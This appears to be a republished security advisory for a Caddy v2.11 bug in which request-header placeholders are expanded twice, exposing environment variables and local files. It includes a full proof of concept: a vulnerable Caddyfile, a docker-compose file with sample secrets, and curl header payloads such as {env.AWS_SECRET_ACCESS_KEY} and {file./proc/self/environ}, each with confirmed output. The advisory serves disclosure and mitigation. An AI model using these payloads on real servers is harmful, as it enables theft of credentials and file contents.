GHSA-wwhq-w58m-w29c — v2
GHSA-wwhq-w58m-w29c is a security vulnerability in github.com/caddyserver/caddy/v2. No vendor fix is recorded yet; mitigation options are listed below.
Caddy CVE-2026-30852 Fix Bypass
Real-World Exposure
github.com/caddyserver/caddy/v2Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.
Description
TL;DR
CVE-2026-30852 fixed double expansion in vars_regexp when the variable key is a placeholder (e.g. {http.vars.x}). The fix does NOT protect literal key names (e.g. tenant_id). An attacker injects {env.AWS_SECRET_ACCESS_KEY} or {file./etc/passwd} via a request header → Caddy expands it on the second pass → secrets leaked in response headers.
Affected: Caddy v2.11.0 through v2.11.2 (latest). All versions since the CVE-2026-30852 fix.
Root Cause
modules/caddyhttp/vars.go, lines 215-217:
valExpanded = varStr
if !fromPlaceholder {
valExpanded = repl.ReplaceAll(varStr, "") // ← SECOND EXPANSION
}
Same issue at line 358-360 in MatchVarsRE.
fromPlaceholder is false when the variable key is a literal string (not wrapped in {}). The fix only protects fromPlaceholder=true.
Expansion chain:
- Config:
vars tenant_id {http.request.header.X-Tenant-ID} - Request header:
X-Tenant-ID: {env.SECRET} - Pass 1 (
VarsMiddleware.ServeHTTP, line 63):repl.ReplaceAll("{http.request.header.X-Tenant-ID}", "")→ resolves to literal string{env.SECRET}. Stored in vars map. - Pass 2 (
VarsMatcher.MatchWithError, line 217):repl.ReplaceAll("{env.SECRET}", "")→ resolves to the actual secret value. - Leaked value reflected in response header
X-Tenant-IDor forwarded to backend viareverse_proxy.
Impact
- Environment variable disclosure:
{env.AWS_SECRET_ACCESS_KEY},{env.DATABASE_URL}, etc. - Arbitrary file read (up to 1MB):
{file./etc/passwd},{file./proc/self/environ} - System info:
{system.hostname},{system.os} - Full env dump in one request:
{file./proc/self/environ}
Realistic Attack Scenario
API gateway pattern - Caddy captures a tenant ID header, validates it with vars_regexp, and reflects it in response headers or forwards to a backend. This is a common production pattern for multi-tenant routing.
# Caddyfile
:8080 {
vars tenant_id {http.request.header.X-Tenant-ID}
@has_tenant vars_regexp tenant tenant_id (.+)
handle @has_tenant {
header X-Tenant-ID "{re.tenant.1}"
reverse_proxy tenant-backend:8080
}
respond "Missing X-Tenant-ID header" 400
}
# docker-compose.yml
services:
caddy:
image: caddy:2.11.2
ports:
- "8080:8080"
volumes:
- ./Caddyfile:/etc/caddy/Caddyfile:ro
environment:
- SECRET_API_KEY=sk-SUPER-SECRET-KEY-12345
- DATABASE_URL=postgresql://admin:[email protected]:5432/production
- AWS_SECRET_ACCESS_KEY=wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY
- INTERNAL_TOKEN=eyJhbGciOiJIUzI1NiJ9.INTERNAL_ONLY
Attacker sends: X-Tenant-ID: {env.AWS_SECRET_ACCESS_KEY}
Response contains: X-Tenant-ID: wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY
Reproduce
docker compose up -d
sleep 2
# Normal request — works as expected
curl -sI -H "X-Tenant-ID: acme-corp" http://localhost:8080/ | grep X-Tenant
# X-Tenant-Id: acme-corp
# Leak env var via response header
curl -sI -H "X-Tenant-ID: {env.SECRET_API_KEY}" http://localhost:8080/ | grep X-Tenant
# X-Tenant-Id: sk-SUPER-SECRET-KEY-12345
# Leak AWS credentials
curl -sI -H "X-Tenant-ID: {env.AWS_SECRET_ACCESS_KEY}" http://localhost:8080/ | grep X-Tenant
# X-Tenant-Id: wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY
# Read arbitrary file
curl -sI -H "X-Tenant-ID: {file./etc/passwd}" http://localhost:8080/ | grep X-Tenant
# Dump ALL env vars (Linux)
curl -s -H "X-Tenant-ID: {file./proc/self/environ}" http://localhost:8080/
Confirmed Test Output (Caddy v2.11.2)
$ curl -sI -H "X-Tenant-ID: acme-corp" http://localhost:8080/ | grep -i x-tenant
X-Tenant-Id: acme-corp
X-Routed-To: tenant-acme-corp
$ curl -sI -H "X-Tenant-ID: {env.SECRET_API_KEY}" http://localhost:8080/ | grep -i x-tenant
X-Tenant-Id: sk-SUPER-SECRET-KEY-12345
X-Routed-To: tenant-sk-SUPER-SECRET-KEY-12345
$ curl -sI -H "X-Tenant-ID: {env.AWS_SECRET_ACCESS_KEY}" http://localhost:8080/ | grep -i x-tenant
X-Tenant-Id: wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY
X-Routed-To: tenant-wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY
$ curl -sI -H "X-Tenant-ID: {file./etc/hostname}" http://localhost:8080/ | grep -i x-tenant
X-Tenant-Id: 06140d4a8645
Fix
Apply expansion guard to BOTH branches:
// vars.go line 215-217 — fix:
valExpanded = varStr
// REMOVE: if !fromPlaceholder {
// valExpanded = repl.ReplaceAll(varStr, "")
// }
Or sanitize vars stored from user input before re-expansion.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐹Go | github.com/caddyserver/caddy/v2 | ≥ 2.11.0 | No fix |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/caddyserver/caddy/v2, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Remediation status
No patched version of github.com/caddyserver/caddy/v2 has shipped for GHSA-wwhq-w58m-w29c yet. Where your build allows, override or pin the dependency away from the vulnerable range, and apply any maintainer-recommended mitigation.
Mitigate without a patch
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
Frequently Asked Questions
Is GHSA-wwhq-w58m-w29c in your dependencies?
Find it across Go, including transitive dependencies.